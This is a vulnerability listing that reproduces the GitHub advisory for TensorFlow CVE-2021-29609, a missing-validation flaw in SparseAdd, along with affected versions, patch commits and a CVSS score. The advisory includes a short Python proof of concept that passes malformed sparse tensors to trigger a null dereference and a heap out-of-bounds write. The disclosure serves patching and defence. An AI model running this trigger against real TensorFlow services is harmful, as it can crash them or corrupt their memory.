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Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

TensorFlowGHSA-cjc7-49v2-jp64

Incomplete validation in `SparseAdd`

TensorFlow

CVE-2021-29609 · Published May 21, 2021 · updated Jul 8, 2026

Medium5.3
Fix: upgrade to 2.1.4 or later (4 fixed versions below)
GitHub advisory

Impact

Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

```python

import tensorflow as tf

a_indices = tf.zeros([10, 97], dtype=tf.int64)

a_values = tf.zeros([10], dtype=tf.int64)

a_shape = tf.zeros([0], dtype=tf.int64)

b_indices = tf.zeros([0, 0], dtype=tf.int64)

b_values = tf.zeros([0], dtype=tf.int64)

b_shape = tf.zeros([0], dtype=tf.int64)

thresh = 0

tf.raw_ops.SparseAdd(a_indices=a_indices,

a_values=a_values,

a_shape=a_shape,

b_indices=b_indices,

b_values=b_values,

b_shape=b_shape,

thresh=thresh)

`

The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of *_indices matches the size of corresponding *_shape. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

Patches

We have patched the issue in GitHub commit...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.1.42.1.4
>= 2.2.0, < 2.2.32.2.3
>= 2.3.0, < 2.3.32.3.3
>= 2.4.0, < 2.4.22.4.2
Details and references

### Impact Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data: ```python import tensorflow as tf a_indices = tf.zeros([10, 97], dtype=tf.int64) a_values = tf.zeros([10], dtype=tf.int64) a_shape = tf.zeros([0], dtype=tf.int64) b_indices = tf.zeros([0, 0], dtype=tf.int64) b_values = tf.zeros([0], dtype=tf.int64) b_shape = tf.zeros([0], dtype=tf.int64) thresh = 0 tf.raw_ops.SparseAdd(a_indices=a_indices, a_values=a_values, a_shape=a_shape, b_indices=b_indices, b_values=b_values, b_shape=b_shape, thresh=thresh) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation. ### Patches We have patched the issue in GitHub commit [6fd02f44810754ae7481838b6a67c5df7f909ca3](https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3) followed by GitHub commit [41727ff06111117bdf86b37db198217fd7a143cc](https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

CVSS 3.1
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-665, CWE-787
Also known as
BIT-tensorflow-2021-29609, CVE-2021-29609, PYSEC-2021-246, PYSEC-2021-537, PYSEC-2021-735

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